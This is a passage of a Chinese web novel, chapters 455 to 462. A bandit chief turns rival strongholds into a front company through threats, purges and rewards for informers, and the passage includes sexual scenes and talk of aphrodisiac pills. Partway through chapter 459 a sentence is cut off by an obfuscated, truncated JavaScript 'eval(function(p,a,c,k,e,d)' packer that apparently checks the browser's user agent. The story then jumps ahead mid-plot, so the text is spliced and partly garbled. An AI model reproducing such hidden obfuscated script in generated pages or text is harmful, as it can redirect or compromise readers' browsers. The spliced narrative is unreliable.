“他们听见又能把老子怎么样?咱们大小也是一个山寨大当家的,又不是来这里做小媳妇的。” 李二狗讲话的时候,下面一直窃窃私语,他眉头紧皱,目光落在坐在门口的两个人身上。 “老三,把门口那两个一直说话的兄弟请过来,让他坐到我这个位置来讲!让大家听听他们在讲什么?怎么这么兴奋?” 一瞬间,大家的目光全部聚焦到门口两个低声议论的土匪身上,他们顿时面红耳赤,低下头不敢再言语。 陈老三走到他们身旁,不耐烦却很客气地说道:“两位兄弟,请上去吧。” 其中一个一脸络腮胡子的土匪抬头笑道:“我们哪敢坐在那里啊?你别逗我们了,我们不说话就是了。” “狗哥让你上去坐你必须去坐,这是我们清风寨的规矩!请吧!” 两人吓得立马站了起来,全身都在发抖! “大当家的,我们错了,再也不敢了,您就饶了我们吧。” 李二狗微微一笑,仿佛没听见一般,开始介绍在会议桌前就坐的几个经理。 没有李二狗的允许,两个人不敢再坐下,只能尴尬地站在原地,恨不得找个地缝钻进去。 陈老三则冷哼一声,回到自己座位上。 李二狗每介绍一人,大家便热烈鼓掌。 奇怪的是,李二狗并没有介绍自己,当然也没有人敢问。 “前段时间,县保安团联合周边几个县的保安团开展了大规模剿匪行动,很多山寨寨破人亡,江东县的山寨大有被一举歼灭之势。” “蒙大家错爱,纷纷到清风寨来商讨应对办法,我也深感唇亡齿寒的道理,便去县里找到孙县长。” “也许大家都听说了,孙县长是我的结拜大哥,但这是上级下的死命令,他也无能为力,为此,我花费巨大代价才终于打通上级关节。” 陈老三等人带头开始鼓掌,继而议事厅响起一阵热烈的掌声。 “大家先不要激动,他们是有条件的。虽然答应不再剿匪,但是前提是江东县不能再有土匪山寨。” “不能再有土匪山寨”这几个字字字诛心,但大家都不敢私下议论。 “所以,今天我们响应政府号召,成立清风集团。” 第456章 挂羊头卖狗肉 李二狗锐利地环视议事厅一圈,没人敢和他对视。 “可能现在你们每个人都在心里琢磨,这个清风集团到底是什么?它和以前的清风寨有什么区别?” 大家纷纷点头称是,却没人敢私下窃窃私语。 李二狗笑道:“大家不要想复杂了,其实呀,很简单,以后清风寨对外不再叫清风寨,而是叫清风集团!其他一切保持不变!” 大家这才恍然大悟,原来只是挂羊头卖狗肉! 政府不让土匪山寨存在,那就对外称是清风集团,好一招瞒天过海! “之前,大家可能不太了解我们清风寨,下面请清风寨经理陈老三给大家介绍一下清风寨。” 在一片热烈的掌声中,陈老三慢慢站了起来。 “清风寨和其他山寨的不同主要在于有约法三章。” “第一条,禁止奸淫妇女!” 大家为之一震! 奸淫妇女不是当土匪的标配吗? 如果土匪不能玩女人那还叫土匪吗? 但大家只能把这个疑问藏在肚子里,谁也不敢当众说出来。 “第二条,禁止欺压百姓!” “第三条,一切行动听指挥!” 陈老三说完之后,大家的脸都白了。 他们万万没有想到加入清风寨会有这些规矩,如果严格遵守,那还不如回家种地。 “大家是不是觉得这三个规定有些不符合当土匪的规矩?” 众人心中有一万个不满,此刻也只能默默地藏在肚子里。 “我理解大家的顾虑,所以接下来我要宣布三件事情!” “第一件事,遵照江东县政府的指令,成立清风集团之后,江东县境内只能保留五座山寨,这些山寨对外不再是土匪山寨,而是清风集团的下属农场。” 会场立即传来一阵“哇噢”的惊叹声! “经过寨务会研究,最终决定保留清风寨、霸虎寨和青山寨三个山寨,除这三个山寨之外,剩下的两个名额在剩余的四十五个山寨中择优选择。” 李二狗话音未落,大家再也忍不住了,议事厅内顿时一阵喧嚣。 这涉及到众山寨的生死存亡,是可忍,孰不可忍! “四十五个山寨只保留两个?这是要逼死我们啊!” “是啊!这是不给我们留活路啊!” “留下这两个山寨如何挑选?” “剩下的山寨怎么办?” …… 面对汹涌的舆论,李二狗早已预判到。 本来他打算在江东县境内,除了清风寨、霸虎寨和青山寨三个山寨之外,一个不留,只在江东县周边区域留下几个山寨,对清风寨形成围点拱卫之势。 但后来想了想,江东县周边地区不属于江东县的势力范围,如果允许存在几个山寨,山高皇帝远,清风寨对其约束力和控制力十分有限,时间一长,容易生出异心,不利于全盘控制。 “大家有什么想法,可以站起来说,不要在下面私下议论。” 议事厅陷入短暂的沉默,但关乎生死存亡,有些人不得不站出来表达自己的意见。 “大当家的,我是和尚岭的花和尚,您刚才说在我们这四十五个山寨中只保留两个山寨,到底是保留哪两个山寨?” 李二狗微笑道:“这个目前还没有确定!” “那保留的标准是什么?” “这个目前也没有确定!” 其实李二狗心中早已有了选择,但他现在故意不说出来,目的是让子弹多飞一会儿。 大浪淘沙,只有在海水褪去之后,才知道谁在裸泳。 花和尚此时心中的不满情绪已经积压到顶点。 “这也没确定,那也没确定,那开这个鸟会还有什么意义?请恕在下不奉陪了,告辞!” 花和尚说完,便在众目睽睽之下离开了议事厅。 李二狗对此并不感到意外,在一个群体之中必然会有几个刺头,而这几个刺头往往是领导者立威的绝佳人选! “大家如果还有想离开的,现在可以和花和尚一起离开!我清风集团绝不强求!” 人群中再次出现骚动,有几个小山寨的头目自认为自己的山寨不可能被留下,也有了离开之意。 “报!”一个土匪推门而入,“报告各位经理,县保安团已经在寨门外安营扎寨,刚才有一个人刚出寨门,就被保安团拿下了!” 李二狗吩咐道:“我知道了,去给县保安团的兄弟们送些吃食,千万不要怠慢了他们!” 刚刚还有离开之意的几个人顿时安静下来,庆幸自己刚才没有冲动! “如果没有离开的,接下来我讲第二件事情!” “所有人回去之后,在各自山寨挑选十名人选,大家记住了,每个山寨,包括你们自己在内,只能有十人加入到清风集团,其他人就地解散,回家种地!” 众人听得一愣一愣的,有些大的山寨有上百人,只有十分之一能留下来,淘汰幅度不可谓不大! “在挑选的这十名人选当中,家中有父母的不要,有妻儿的不要,有兄弟姐妹的不要,有土地的不要,杀过人强奸过妇女的不要,如果在后续的资格审查当中,发现有所隐瞒,整个山寨的人全部淘汰,一个不留!” 听了李二狗的话,众人脸都黄了! “淘汰之人也不必害怕,我们会负责发放遣散费!大家有什么意见现在可以站起来提?” 花和尚的下场就在眼前,没人愿意再做出头的椽子。 “第三件事,散会之后,每个人到望冬经理那里报备自己山寨的财务状况,山寨所有的一切要交公,统一分配!” 有几个人已经被气得在发抖,又不敢发作。 “在我们开会的时候,我已经向每个山寨派遣了两名调查员,他们此刻就在你们山寨等着你们回去核对金额,所以待会儿大家向望冬经理报备的时候一定要谨慎,如果报备金额和实际金额相差过大,我需要你们给我一个说法!” “大家若有意见,现在可以提出来!” 依旧没人敢提意见! “大家回去之后按照刚才的会议部署进行落实,明天中午十二点之前,把拟留下人员名单报上来,后天上午十点还在这里召开会议,确定具体山寨和人员的去留名单,散会!” 第457章 人生没有如果 夜幕降临之后,望冬手里拿着一个账本来到李二狗家中汇报工作。 “望冬,你的尾巴呢?”李二狗调侃道。 “尾巴?”望冬一脸迷惑,“我又不是狐狸精,哪里来的尾巴?嘻嘻。” 望冬也难得地和李二狗开起了玩笑。 自从她进入寨务会之后,李二狗把越来越多重要的事情交给她去办,同时她还掌控着山寨的财务大权,俨然已成为山寨二把手。 人一旦达到一定的层次和高度之后,说话办事就会在潜移默化当中发生变化。 也许她自己都没有意识到,自己此刻已经克服了先前丫鬟身份的束缚。 这正是李二狗所希望看到的。 她不是任何人的附属,她就是她自己! 李二狗笑道:“我是说老三,以前都是你到哪他跟到哪,不就是你的小尾巴吗?” 望冬莞尔一笑,说道:“家里现在挤满了人,我这也是找了一个借口才能跑出去。” 李二狗微不可察地笑了笑,他对望冬这种对自己毫不隐瞒的态度很满意。 不隐瞒说明心里没有藏私! 他知道,今天的会议上,他宣布在剩下的四十五个山寨之中只能留下两个,大家肯定都慌了神。 这时候找关系拜码头,为自己的山寨寻找一条生路也在情理之中。 李二狗的住宅未经允许,任何人不得随意进入,陈老三和望冬就成为他们重点围猎对象。 李二狗貌似不经意地说道:“望冬,原则性的问题可不能违反啊。” 望冬急忙解释道:“狗哥放心,我已嘱咐过老三,绝对不能收礼,也不能给他们任何承诺。” 望冬知道,此事的最终决定权在李二狗手里,而且她也知道,李二狗心中早已有了选择。 李二狗意味深长地看了望冬一眼,夸赞道:“老三娶了你,真是他几辈子修来的福气。” “嘻嘻,都是狗哥教导有方,我和老三永远铭记你对我们夫妻的栽培之恩。” 李二狗摆摆手,说道:“山寨栽培,个人表现,望冬,你办事我很放心。” 望冬得到李二狗的夸奖,着实兴奋。 一直以来,她努力去办好李二狗交给她的每一件事情,最大的动力就是希望得到李二狗的认可! “狗哥,你放心,你指哪我打哪,我只听你的。” 李二狗理想中的望冬就是现在这个样子。 陈老三是一个粗人,虽然对李二狗忠心耿耿,但是头脑过于简单,无法委以重任。 秀才虽然有能力,脑子也活泛,但这个人心思过于缜密,一味迎合领导,将来一旦得势,必将猖狂,属于可用但必须慎用之人。 陈嘎子和张石头是两个莽撞人,能力有限、水平一般,和李二狗的关系也不是十分亲近。 只有望冬,各方面条件都符合李二狗的要求,关键是她作为陈老三的妻子,对自己一向忠心耿耿。 “望冬,你手里拿得是什么?” “我正要向你汇报,这是各个山寨报上来的数目,你过目一下。” 望冬说着把手里的一个账本递到李二狗手里。 李二狗接过账本,看到上面记录的四十五个山寨上报的财物数目。 虽然各个山寨报的数目各不相同,有多有少,但有些山寨还是出乎自己的意料。 “望冬,你怎么看?”李二狗故意考考望冬。 望冬在来的路上就已经在思考,心中早有准备。 “虽然不知道真实性怎么样,但单从他们报上来的这些数目看,还是很出乎我的意料。” 李二狗笑道:“你的意思是多还是少?” “我认为多了,没想到这些山寨这么富有,即使他们没有隐瞒,这里报的数目肯定只是他们山寨账房里的数目,他们私有的财物肯定不在这里面。” 李二狗赞许地点了点头,望冬的分析和自己想的基本一致。 “望冬,你最近确实进步了很多,我很欣慰。” 望冬脸红了,能得到李二狗的夸奖就是对她最大的奖励。 “狗哥,你夸的我都有些不好意思了,我只不过是做了自己分内之事罢了,你这么器重我,我不能给你丢人不是?嘻嘻。” 这时,李素文走了进来。 “饭做好了,望冬,留下一起吃饭吧。” 自从望冬进入寨务会之后,李二狗大多数时间不在山寨,山寨大小事务都要望冬亲自过问,她天天忙得四脚朝天,已经没有伺候李素文的时间。 做饭、洗衣、整理家务都是李素文自己动手,望冬作为她的丫鬟,内心还是有一丝愧疚感。 “素文姐,我还是安排个人过来帮你吧,这些事情哪是你能做的?” 李素文笑道:“我怎么就不能做?我又不是天生的娇小姐,小时候在家里,我没日没夜的做家务。” “可这些粗活……” 李二狗知道,李素文做这些可以打发时间,如果待在家里什么都不做,反而会憋出病来。 自从上次兵败霸虎寨之后,李素文就再也不过问山寨之事,那是她心中永远的痛! “望冬,算了吧,我最喜欢你素文姐做的饭,其他人做的饭我还吃不习惯。” 李素文笑道:“就你嘴会说,喜欢吃也没见你在家吃过几回。” 话里既有喜悦也有埋怨,一个不回家的男人总是让女人爱恨交加。 “那你们吃吧,我先回去了。” 李素文挽留道:“吃了再走吧?” “不了,老三还在家呢,我要再不回去做,他又得数落我了。” 望冬走后,李素文感叹道:“没想到望冬最近变化这么大,我都快认不出来她了。” 李二狗笑道:“是啊,她是变化挺大的,不过人都是会变的!” 李素文有些感伤地看着李二狗,问道:“那你也会变吗?” “我当然会变啊。”李二狗当然知道李素文心里的小心思,接着说道:“我会变得越来越爱你。” “臭贫!” 李素文一脸的幸福。 李二狗此刻觉得,如果自己今生只有李素文一个女人肯定会非常幸福! 可人生没有如果,让他现在放弃任何一个女人,他内心都会非常痛苦! 第458章 人家都听你的 李二狗短时间内完成对江东土匪武装的整合,内心十分愉悦,他和李素文滚了一夜的床单。 要不是李素文躺在他怀里娇声求饶,一夜七次肯定不在话下。 第二天一大早,李二狗便匆匆赶回胡家大院,他心里还一直记挂着牛旺财的事情。 “二驴,牛旺财的事,警察局调查的怎么样了?” 张二驴标志性的驴脸拉的老长。 “哎,他们已经调查清楚了,说是妓女小桃红图财害命,杀死了牛旺财,为了掩盖杀人真相,才把人拖到花池里掩埋了。” 这个调查结果完全在李二狗的意料之中,他知道县里这帮警察的能耐! 那都是一群无利不起早的家伙,对待这种案件根本不会上心。 如果不是胡家大院去报案,他们可能连调查都懒得调查。 当然,他们本身也没有这个能力,不过只是一群酒囊饭袋罢了。 “警察没解释解释为什么在牛旺财身上没有发现伤口吗?” 张二驴叹了口气,说道:“这我哪敢问啊?他们一个个都是大爷!狗哥,我看这事还得你亲自去找一找孙县长,让他帮忙过问一下。” 牛旺财虽然不是直接被小桃红杀死的,但也是因为吃了她给的药丸猝死的。 从某种意义上来讲,小桃红确实是杀死牛旺财的凶手。 “小桃红抓到了吗?” 张二驴摇了摇头:“目前还没有,其实那帮警察根本就没打算去抓小桃红,估计她早就逃走了。” 乱世之中,地主大院一个普通下人被杀,就如同地球上死了一只蝼蚁,警察是没有精力去抓杀人凶手的。 “我让你给牛旺财准备的棺材准备好了吗?” “已经按照你的吩咐准备好了,现在停放在胭脂巷东首的那座四合院里。” 李二狗神情黯淡地说道:“那就别等了,今天上午就运回夹皮沟村埋了吧。” 张二驴心有不甘地问道:“狗哥,牛旺财死的实在是窝囊,难道就这样放过凶手吗?” “茫茫人海,去哪里才能找到杀人凶手?二驴啊,其实我们每个人都有自己的命数,也许这就是牛旺财的命吧!还是先入土为安吧。” “狗哥,还有一件事,牛旺财的妻儿已经不在原来的地方住了,我派人去了两次都没见人。” 李二狗心想,没必要告诉张二驴是自己把春花母子收留了,省得又是风言风语。 传到于兰芝那里,又是一桩麻烦事。 “走了就走了吧,你叫上几个人,咱们一起回夹皮沟村。” 由于牛旺财死得窝囊,李二狗并不打算大操大办,便悄悄地把牛旺财埋在了他家的祖坟里。 埋完之后,李二狗把张二驴等人支走,自己亲自摆上贡品,开始焚烧纸钱。 “旺财……哥,你在那边安息吧,我会替你照顾好春花和牛犊子,一定不让她们母子受委屈。” 李二狗烧完纸钱,对着牛旺财的坟头磕了三个头。 两人毕竟兄弟一场,李二狗对牛旺财还是有一种特殊的情感。 安葬完牛旺财之后,李二狗回到自己在仙人洞镇的小院。 春花见到李二狗,比上次少了几分拘谨,多了一些少妇的羞涩。 “二狗,这几天你去哪了?”春花问完又感觉有些不妥,便补充道:“牛犊子这几天总是嚷嚷着找你。” 牛犊子正在院子里跑来跑去,正是无忧无虑的年纪。 “春花,刚刚我把旺财哥送回夹皮沟村安葬了,你要有时间,回去看看他吧。” 刚刚还兴高采烈的春花顿时如霜打的茄子一般。 “还是等以后有机会再说吧。” 李二狗明白春花的心思,自己的男人死在妓女的床上,实在是丢人现眼。 “春花,我想把你和牛犊子送到省城去,也不知道你愿意吧?” “省城?” 这个问题春花从来没想过,在她的想象里,省城是一个特别大特别时髦的地方,而她自己只是一个穷山沟的村妇。 “对啊,去省城!” “那你去吗?” 春花的问题不仅仅是问李二狗去不去省城这么简单,她现在已然离不开李二狗。 春花是牛旺财花二十块大洋从胡士高手里买来的媳妇,她娘家早已没有任何亲人。 在这个世界上,除了牛犊子,她只有李二狗,一个和自己貌似有关系实则又没有关系的男人。 她知道自己配不上李二狗。 当初因为和牛旺财怀不上孩子,她设计利用李二狗怀上了牛犊子,之后又对他爱搭不理。 当初你对他爱搭不理,如今已高攀不起! 李二狗不想让春花多想,也不想让她伤心,便含糊地说道:“我会经常去看你们的。” 春花此时颇有一种天下之大,却没有自己容身之地的感觉。 “我都听你的。” 春花的态度在李二狗的意料之中。 “春花,你放心,我不会亏待你们母子的。” 春花眼含热泪,声音颤抖地说道:“二狗,谢谢你。” “等我忙完这几天,就把你和牛犊子送到省城去。” 李二狗回到胡家大院,来到于兰芝院子里。 “她的病怎么样了?” 于兰芝正在哄着梦瑶睡觉,她已经好几天没有见到李二狗了。 “情况不是很乐观,先住院一段时间再说吧。” 于兰芝的内心挺矛盾,她既想张玲玉的病能治好,又不愿意她的病能治好。 “尽力就好,凡事不能强求。” 李二狗不想和于兰芝谈论张玲玉的事情,便看着梦瑶说道:“咱们的梦瑶好像又长大了一些。” 一提到梦瑶,于兰芝脸上就抑制不住的兴奋。 “是啊,她每天一睁眼就想见到你。” 李二狗当然知道这是于兰芝骗自己的谎话,但内心却很享受。 “只有梦瑶想吗?” 李二狗伸手捏了一下于兰芝的脸颊,已经三十岁出头的于兰芝依然有着少女般的肌肤。 李二狗这几年没少滋润她。 于兰芝脸红道:“梦瑶她娘也想。” 李二狗把于兰芝搂入怀中,深情地说道:“有你们真好。” “梦瑶睡着了。”于兰芝含情脉脉地说道。 李二狗把于兰芝压在了身下…… 第459章 自己人斗自己人 清风寨,议事厅。 “狗哥,现在已经有四十二个山寨报上来了拟留用人员名单。” 望冬把名单誊抄了一份放在李二狗面前。 李二狗笑道:“只有三个山寨没报,比我预计的要少了一些。” 原来一切都在李二狗的预料之中,望冬心中这才暗自松了一口气。 “狗哥,那接下来我们怎么办?”陈老三问道。 “还能怎么办?替江东县保安团消灭他们呗。” 对待这种出尔反尔的山寨,李二狗认为必须坚决予以消灭,不然以后肯定还会有其他山寨效仿他们的做法。 “你们各带一队人马,天黑之后出发,如遇抵抗,就地歼灭!其他人就地遣散回家。” “保证完成任务!” 陈老三、秀才等人分头回去准备了,望冬留了下来。 望冬看着名单,问道:“狗哥,报上来的这些人员我们全部留用吗?怎么来甄别他们的身份?” 李二狗微笑道:“你觉得应该怎么办?” 望冬知道这是李二狗故意在考验自己,她想了好久,还真没有好办法。 “狗哥,这些人我们一个都不认识,人员又这么多,如果要是一个一个去甄别,实在是太困难了。” 下属遇到难以解决的问题,当领导的价值才能凸显出来。 “你找几个会写字的兄弟,把这些人员名单全部抄写在一张红纸,等明天开会的时候,张贴在山寨中央广场的告示板上。” 望冬完全没有理解李二狗的做法。 “狗哥,你这是要做什么?” 李二狗神秘一笑。 “等明天开过会之后,你就知道了,快去做吧。” 不出意料,当天晚上,三个出尔反尔的山寨**东县保安团全歼,山寨被焚毁! 第二天,众山寨的头头脑脑再一次齐聚清风寨议事厅。 和上次一样,大家依然只能坐在小马扎上听会。 李二狗派往各个山寨的调查员已经全部返回山寨,他们实际统计的数目报给望冬之后,望冬和自己手里的账本一一进行了比对,除少数几个山寨有一些大的出入之外,其他基本吻合。 比对数据已经放到李二狗面前的桌子上。 “上次在这里开过会之后,大家回去按照会议部署及时进行了落实,可以说,我对大部分山寨还是满意的。” 对大部分满意,那就意味着对小部分山寨不满意,大家谁都不想自己在这个小部分的范围里。 “昨天,有三个山寨没有按时报送留用人员名单,可能他们都有这样那样的原因,或者只是因为路上出现意外耽搁了,但规定就是规定,任何人都没有理由违反。” 议事厅内鸦雀无声,大部分山寨都不知道不听命令的这三个山寨昨天晚上已经被全歼了! “昨天晚上,县保安团在和我打过招呼之后,派兵全歼了那三个山寨!” 举座皆惊,众人无不倒吸一口凉气。 三个山寨白天不听清风寨的命令,晚上就**东县保安团全歼! 这速度实在是令人生疑! 生疑归生疑,假如他们的怀疑是真的,这更加令他们恐惧。 “大家一定要想明白一个道理,在江东县,县政府只允许清风集团存在,其他以任何形式存在的山寨都在保安团的剿灭范围之内,对此我也是无能为力!” 李二狗的话看似劝诫,实则是大大的威胁。 他明白无误地告诉众人,只要不加入清风集团,就会被全歼! 但加入清风集团,就得放弃自己的山寨。 两权相害取其轻,活着才是最重要的! “另外,大家报上来的留用人员名单,我连夜让人誊写到红纸上,现在已经贴到广场的告示板上。” 大家并不理解李二狗这样做的目的,贴出来又能怎么样?自己山寨的人其他人根本就不了解底细。 “这份名单会在广场上张贴一个月,只要有人反映名单里的人有问题,并提供相应的证据,一经查实,奖赏大洋一百块!多人揭发,只奖赏先揭发者,而且先揭发的人可以既往不咎,继续留用!” 李二狗这是发动自己人斗自己人,这招实在是太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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各山寨在规定的时间之内,全部按时来到清风寨报到。 此时清风寨门前的横匾已经换成黑底鎏金的四个大字:清风集团。 在寨门右侧挂上了“清风农场”的竖匾。 霸虎寨改名为霸虎农场,青山寨改名为青山农场。 黑木崖和三龙山目前已经腾空,临时还没有安排人员入驻,但名字已改为黑木崖农场和三龙山农场。 李二狗之所以选择留下黑木崖和三龙山两个山寨完全是因为他们所处的地理位置。 霸虎寨、青山寨、黑木崖和三龙山分布在江东县四周,而清风寨在正中,四个山寨对清风寨形成拱卫之势。 一旦敌人来袭,如果配合得当,可抵几个团的兵力。 清风集团目前下辖清风寨、霸虎寨、青山寨、黑木崖和三龙山五个山寨。 在李二狗的计划里,每个山寨需要配备两名经理,一名经理负责日常训练和垦荒种地,同时负责战时作战指挥,另一名经理负责山寨的财务、后勤和教育,说白了就是吃喝拉撒睡。 两名经理的职务没有大小之分,只有分工不同,两人相互配合又相互制约。 目前,新成立的清风集团加上李二狗在内,寨务会已有六名人员,还需要再择机选择五名人员加入寨务会。 各山寨人员报到之后,经清点人数,一共有三百四十五名人员。 按照要求,每个山寨可以留用十名人员,四十二个山寨应该是四百二十名人员。 但有将近三分之一的山寨根本凑不齐符合条件的十个人,有些山寨加上寨主统共才不到十个人,还有两三个山寨前来报到的只有寨主一个人。 由于李二狗宣布严查不符合条件的人员加入,所以大家宁肯凑不齐人数,也绝不滥竽充数。 李二狗蒙着面巾,站在聚义厅门前的台阶上,面对广场上乌压压的人群,他露出了志得意满的笑容。 这都是他精挑细选出来的人才,假以时日,一定可以大有一番作为。 陈老三首先出列,对着人群大声喊道:“大家安静一下,现在请董事长讲话。” 董事长当然是指李二狗,这个稀有名词还是他在省城的时候学到的。 广场上的众人几乎全是农民出身,他们生下来都没有离开过江东,当然更没有听说过董事长这个名词。 不懂归不懂,只要知道董事长是清风集团最大的官就行。 李二狗走向前,先是环视一圈,迎接这众人投来的目光。 “在我讲话之前,请望冬经理先宣布一项集团重大决定。” 这时,望冬从李二狗身后走出来,手里拿着一张纸。 她清了清嗓子,大声宣布道:“经过前期认真走访排查,并报清风集团寨务会同意,现将不符合清风集团招纳人才名单通报如下。” “朱悟能、刘费五、胡来来、张腊纪、宋本旦……” 望冬一口气念了十八个人的名字,全部都是原来各个山寨的头目。 这十八个人都是平时惯于欺压百姓、滥杀无辜或者吃喝嫖赌抽五毒俱全人员,这样的人是绝不能留在清风集团的。 虽然李二狗此时把这些人逐出清风集团有卸磨杀驴之嫌,但为了集团的长远发展,这样的害群之马必须尽早清除。 “我抗议!你们这是卸磨杀驴!” “对!我坚决不走!” “我也不走!有本事把老子都杀了!” “见过欺负人的,没见过这么欺负人的!” “这是把我们往死路上逼啊!” “大不了拼个鱼死网破!” …… 十八个人个个群情激奋,大有冲上前要找李二狗讨要一个说法的架势。 李二狗对此早有预判,砸人饭碗犹如杀人父母,他们不可能心甘情愿地离开。 李二狗等大家把情绪宣泄完,气定神闲地说道:“我给你们两个选择,一个是你们可以选择继续留下来,但以后只要犯错,集团绝不轻饶!” 这是李二狗赤裸裸的威胁! 谁能保证自己不犯错? 更何况,欲加之罪何患无辞。 要想刻意寻找一个人的过错,实在是太容易了! 李二狗看大家不说话,肯定都在等着他说出第二个选择。 “第二个选择,此刻选择下山的人,每人发两百块大洋!我给大家两分钟时间考虑!两分钟之分,必须做出一个选择。” 几百人的广场上,除了呜咽的山风之外竟没有一丝声音。 目前,除少数几个山寨之外,所有的山寨都已经焚毁,人员也已遣散,李二狗掌握了绝对话语权。 十八个人面面相觑之后,全部选择领钱走人。 识时务者为俊杰,他们虽不是俊杰,但都识时务。 “大家临走之前,我有一言相送,在江东县及其周边地区,绝不允许再出现其他土匪山寨!这是红线,任何人胆敢触碰,就地消灭!” 李二狗这话说得霸道且霸气,但他有这个实力! 十八个人忿忿不平地离开了! 李二狗之所以选择当众把他们驱逐出山寨,大有杀鸡儆猴的意思。 在清风集团,他就是土皇帝,敢有不服者,就把他打服为止! “首先,欢迎大家加入清风集团。清风集团自创办以来,一直秉持不劫平民,不欺妇孺的宗旨,我们不靠抢,靠的是开荒、做贸易和种山货。今天你们进了这个门,有手艺的凭手艺吃饭,有力气的凭力气挣钱,月底有工钱,年底有赏钱,病了老了有集团养着。” “既然进了这个门,就是自家弟兄。”李二狗的声音不高,却自带一种威严,“我知道你们以前有的种地,有的扛枪,有的……也干过抢劫的营生。” 他故意顿了顿,锐利的目光扫过众人,“但从今天起,规矩得改。” 有的人忍不住抬头看着神秘的李二狗,眼里满是忐忑。 “我今天把话撂在这里,只要你们守规矩,听指挥,我保证你们顿顿有肉吃、天天有酒喝,能堂堂正正做人,以后大家就是一家人!” 广场上响起热烈的掌声,久久不息。 李二狗望着台下黑压压的人群,内心有了一个好主意。 第461章 她好我也好 按照李二狗的安排,留下的三百多人被分成三个组,分别在清风寨、霸虎寨和青山寨进行为期三个月的整训。 李二狗特别强调,整训期间要抽出一半的时间进行垦荒。 另外,他特意召集留下的二十四个原来各个山寨的头目开了一次动员会议。 在会上,他许诺会视大家在整训期间的表现,挑选出几名表现突出的人员加入集团寨务会。 安排妥当之后,李二狗让秀才晚上到自己家中。 这是秀才第一次被允许进入李二狗家中,以前能享受到这种特权的只有陈老三和望冬。 能到李二狗家中意味着什么,秀才心知肚明,为此他激动万分。 秀才提着一个精致的礼盒来到李二狗家中。 关于送什么,他很是费了一番脑筋。 送贵重的东西,李二狗肯定会多想,刚刚他还在会议上批判享乐主义和奢靡之风。 送便宜的东西,又不能显出自己对李二狗夫妇的尊重。 要是不送,那当然更不行! 空着手,意味着你对领导不重视,心里没有装着领导。 如果你心里不装着领导,领导又怎会把你装进心里? 思虑再三之后,秀才挑选了几样价格适中的胭脂水粉。 走夫人路线是最稳妥的路线。 “狗哥。” 李二狗正坐在院子里的一把藤椅上喝茶,厨房里,李素文和望冬正忙着炒菜。 “秀才来了,坐。” 李二狗没有起身,指了指身前空着的一把椅子。 李素文听到声音从厨房里走出来。 “秀才兄弟来了,快请坐,我去给你倒茶。” “嫂子,您不用客气,我自己来就行,这是送给您的一点小礼物,不成敬意,请您收下。” 李素文喜笑颜开地说道:“来就来呗,还给我带礼物,咱们都是自家兄弟,秀才兄弟你太客气了。” 秀才特意瞥了一眼李二狗,发现他眉眼含笑,并没有表现出不高兴的表情。 他刻意强调道:“就是一些胭脂水粉,不值什么钱。我主要考虑嫂子下山不方便,特意去镇上给您买的,也不知道合不合嫂子心意。” 李素文特意拿出来看了看,又放到鼻子下面闻了闻。 “秀才兄弟可真会挑东西,这些都是我喜欢的,谢谢秀才兄弟了,你快坐,我去给你倒茶。” 秀才急忙说道:“不劳嫂子动手,我自己来。” 说着他便拿起放在院中桌子上的水壶给李二狗的杯中蓄满,然后又给自己倒了一杯。 “秀才兄弟,那你们聊,我去厨房炒菜,今晚你们好好喝一杯。” “谢谢嫂子,给您添麻烦了。” 秀才总是表现得如此客气,不像陈老三那般随便,这也从侧面说明,秀才还没有真正融入到李二狗的核心圈子里。 李二狗之所以把秀才叫到家中,除了有一件重要的事情要安排他去做之外,还想进一步笼络秀才。 在目前的清风集团,真正有头脑又能指挥打仗的人,除了秀才之外,其他人都达不到李二狗的要求。 自从宋孬蛋和张清明离开之后,李二狗一直在寻找合适的替代人选,可惜未能如愿。 他希望这次能在新加入的三百多人中挑选出几个可用之人,在此之前,秀才的作用还是无人可以替代。 “秀才,咱们兄弟认识多长时间了?”李二狗貌似无意地问道。 秀才脱口而出:“差不多两年了。” “没想到这么快就两年了,感觉一切就和昨天发生的一样,呵呵。” 秀才不明白李二狗为何突然提起这个话题,他刻意感慨道:“是啊,当初要不是狗哥收留,我秀才可能都不在人世了。” 李二狗笑道:“像秀才兄弟这样的人才,无论在哪里都不会被埋没。” 秀才赶紧表忠心道:“千里马常有而伯乐不常有,狗哥,我秀才这辈子跟定你了,赴汤蹈火,在所不辞!” “其实不瞒秀才兄弟,我最近时常有一种深深的紧迫感,这么多兄弟跟随我,如果我一步走错,害得就是兄弟们,我压力很大啊!” 秀才恭维道:“能力越大,责任越大,狗哥,在整个清风集团,除了你,再也没有第二个人有这个能力了。” 李二狗头脑很清醒,知道这是秀才的恭维之言。 但他内心还是会产生一种愉悦的感觉,做领导的,都克服不了喜欢听下属恭维之言的弱点。 这是人性使然,的确很难克服! “秀才,在咱们整个集团,其实我最看好的人是你,只有你的能力能让我放心。” 秀才闻言,激动地站了起来。 “这都是狗哥领导有方,我只不过是做了自己应该做的事,还望狗哥以后多多教诲,我一定不会让狗哥失望的。” 李二狗微笑着挥了挥手,示意秀才坐下。 “坐下说,秀才兄弟,这是在家里,咱们就是闲聊,你别动不动就站起来。” 秀才当然不会相信这是闲聊,他觉得李二狗每句话都像是在敲打自己。 “狗哥,你今天叫我来,有什么要紧的事吩咐吗?” 李二狗内心不禁感慨,自己确实没有看错秀才,他的脑子确实活泛,总是能够精准地猜测到自己的意图。 “上次我去省城,和吴爷谈了一桩生意,他名下的一家医药公司计划生产一种补肾壮阳的药丸。” 秀才敏锐地猜测出李二狗的意图。 “狗哥,补肾壮阳的药在民间老中医那里有很多,我就认识一个老中医,他那小药丸调配的,嘿嘿,谁用谁知道啊。” 李二狗笑道:“看来你小子没少用啊,哈哈。” 秀才不以为耻,反以为荣。 “年纪一大,总有力不从心的时候,吃上两粒,她好我也好,嘿嘿。” 李二狗笑骂道:“你小子,有好东西也不知道分享。” 谈笑间,两人的关系拉近了不少。 “秀才,这两天你专门下去找一找,多找几个配方。” “放心吧,狗哥,等找到之后,我再找几个兄弟试试效果,到时候可以在几个配方中取长补短,制作出一个独一无二的配方。” 李二狗果然没有看错人! 第462章 大哥,这可万万使不得啊 李二狗安排妥当一切之后,便独自一人来到江东县城。 人逢喜事精神爽,李二狗办成这么大的一件留名江东史志的事情,感觉全身都充满了干劲。 